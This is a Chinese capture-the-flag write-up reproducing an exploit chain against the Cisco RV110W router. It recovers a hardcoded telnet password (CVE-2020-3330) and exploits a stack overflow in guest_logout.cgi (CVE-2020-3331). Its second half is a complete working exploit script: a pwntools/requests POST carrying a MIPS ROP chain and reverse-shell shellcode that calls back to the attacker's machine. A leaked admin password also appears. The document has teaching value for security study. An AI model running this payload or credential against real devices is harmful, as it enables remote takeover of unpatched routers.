2020强网杯线下-RV110W赛题复现
笔者本来想用fap等工具模拟这台机器进行复现的。但是苦于一直模拟失败,只好买了一台真机进行复现,不过还是要多说一句,真机就不用担心模拟会出现的各种问题了,可以直接开搞,真香。
题目提供的路由器固件版本为RV110W-1.2.2.5,可以在思科官网下载。
准备
我们首先进入cisco路由器管理后台。默认后台ip为192.168.1.1,默认用户名和密码为cisco: cisco。
这里可以大致浏览后台提供的功能。
我们可以在固件更新界面刷写路由器。我们需要cisco版本为1.2.2.5,若不符合,直接在官网上下载固件,更新即可。
到了这里,我们就可以开始了。
信息收集
使用nmap扫描开放的端口。
nmap -Pn 192.168.1.1
搜索固件历史漏洞,看有没有能用的。
这里看xuanxuan师傅的博客,可以了解到,CVE-2020-3330与CVE-2020-3331对我们来说是有价值的。其中,CVE-2020-3330是telnet密码泄露bug,可以通过该漏洞获取路由器shell,方便我们调试。CVE-2020-3331是栈溢出漏洞,是我们控制该路由器的关键。
CVE-2020-3330
对固件进行binwalk解压,获取固件文件系统。
通过在文件系统全局搜索telnet,获取到关键信息。
这里查看**/sbin/rc** 文件。
在IDA中直接搜索telnet字符串,然后交叉引用,可以定位到关键位置。
可以拿到路由器telnet用户密码。
1 | admin:$ 1 $aUzX1IiE$x2rSbqyggRaYAJgSRJ9uC.: 15880 : 0 : 99999 : 7 :::
|
我们直接使用网站或者john
解密即可。
需要注意的是,这里使用john
解密时需要把密码写入到文件中。
可以得到用户名和密码为admin:Admin123
。
CVE-2020-3331
准备
在主机上下载海特实验室编译好的gdbserver,下载完整版的busybox。
在windows本地起一个http文件服务器。
1 | python -m http.server 8000
|
在路由器**/tmp**文件下使用wget
下载本地文件。
漏洞分析
固件对比
在cisco路由器官网上下载1.2.2.8版本的固件,然后使用bindiff对比,寻找漏洞点。
根据漏洞描述,大致可以确定是guest_logout_cgi
函数的问题。
双击,打开反编译对比窗口。
很容易可以看到sscanf
这种容易造成溢出的函数。
接下来,使用IDA分析该函数。
静态分析
可以看到,sscanf
函数将submit_button(可控)格式化输出到v28,v29变量中,并没有检查长度,容易造成栈溢出。
这里我们关注格式化字符串%[^;];%*[^=]=%[^\n]
的含义。通过gpt分析,可以得到如下输入格式,
通过对guset_logout_cgi
交叉引用,可以找到sub_431EEC
函数。
该函数判断是否为post请求(猜测),若是,即调用guest_logout_cgi
函数。
该函数没有调用点,猜测用户可以直接发生请求。
测试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | import requests
url = "https://192.168.1.1/guest_logout.cgi"
data = {
"cmac" : "E8:80:88:63:87:76" ,
"cip" : "192.168.1.71" ,
"submit_button" : "status_guestnet.asp" + "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac"
}
response = requests.post(url, data = data, verify = False )
print (response.status_code)
print (response.text)
|
这里使用post请求,使用超长的submit_button参数,测试该服务是否down掉。
在路由器中使用netstat -pantu
查看服务,可以看到服务的pid为356。因为我们使用的是https请求,也即443端口。
使用ps
查看对于服务运行的命令。
当我们发送完请求后,再次使用ps
,可以看到httpd -S服务已经down掉了。
漏洞利用
调试
注意,我们每次尝试都会把该服务打崩,需要重新启动。
这里,我们使用 gdbserver attach服务进程。
1 2 | chmod +x gdbserver-7.7.1-mipsel-mips32-v1
. /gdbserver-7 .7.1-mipsel-mips32-v1 0.0.0.0:1234 --attach 579
|
然后,使用gdb-multiarch远程连接。
1 | gdb-multiarch .. /usr/sbin/httpd
|
测试偏移
同时,该路由器没有开pie,可以直接泄露libc基地址,从而调用libc的函数。
剩下的就是栈溢出的利用了,可以参考笔者这篇文章。
对于路由器而言,我们的目标一般就是执行shellcode,从而实现反弹shell的效果。基于mips架构缓冲区的特殊性,我们需要执行的rop链大概为sleep(1) + shellcode这种方式。
shellcode可以从这里找到:http://shell-storm.org/shellcode/files/shellcode-860.html
需要的gadget如下图所示,均可以使用IDA通过mipsrop找到。
其执行顺序大致也如下图顺序所示,
最终wp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 | from pwn import *
import requests
context.log_level = 'debug'
context.arch = 'mips'
url = "https://192.168.1.1/guest_logout.cgi"
shellcode = b "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
shellcode + = b "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
shellcode + = b "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
shellcode + = b "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
shellcode + = b "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
shellcode + = b "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
shellcode + = b "\xf8\xff\xa5\xaf"
shellcode + = b "\x01\x47\x05\x3c\xc0\xa8\xa5\x34"
shellcode + = b "\xfc\xff\xa5\xaf"
shellcode + = b "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
shellcode + = b "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
shellcode + = b "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
shellcode + = b "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
shellcode + = b "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
shellcode + = b "\xab\x0f\x02\x24\x0c\x09\x09\x01"
libc_base = 0x2af98000
mysleep = libc_base + 0x000506c0
payload = b 'a' * 85
payload + = p32(libc_base + 0x113e0 )
payload + = b 'b' * 0x18
payload + = b 'a' * 4
payload + = p32(libc_base + 0x214b4 )
payload + = b 'a' * 4
payload + = p32(mysleep)
payload + = b 'a' * 4
payload + = p32(libc_base + 0x3d7e4 )
payload + = b 'a' * 4
payload + = b 'a' * 4
payload + = b 'a' * 4
payload + = p32(libc_base + 0x171e0 )
payload + = b 'a' * 0x18
payload + = p32(libc_base + 0x3d050 )
payload + = b 'a' * 0x10
payload + = p32(libc_base + 0x257a0 )
payload + = b 'a' * 0x18
payload + = shellcode
data = {
"cmac" : "E8:80:88:63:87:76" ,
"cip" : "192.168.1.71" ,
"submit_button" : "status_guestnet.asp" .encode() + payload
}
response = requests.post(url, data = data, verify = False )
print (response.status_code)
print (response.text)
|
ok,成功反弹shell。
这里需要注意的一点是,由于笔者是虚拟机网络是Net模式,没办法跟路由器在同一个网段下(可以使用桥接使路由器与虚拟机在统一网段下),路由器访问不到虚拟机,这里笔者在windows下监听并成功反弹shell。
总结
通过这次强网杯赛题漏洞的复现分析,学到了很多知识。当然,这只是我iot学习路上的一小步,未来还有很长的路要走,继续加油。
参考文章
https://xuanxuanblingbling.github.io/iot/2020/10/26/rv110w/
https://zyen12138.github.io/2021/10/05/RV110W%E8%B7%AF%E7%94%B1%E5%99%A8%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0-2020%E5%B9%B4%E5%BC%BA%E7%BD%91%E6%9D%AF%E8%B5%9B%E9%A2%98/
https://7ee1n.github.io/2021/09/25/ciscoRV110w-CVE-2020-3331/
https://wzt.ac.cn/2020/11/10/cisco-rv110w-bugs/
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界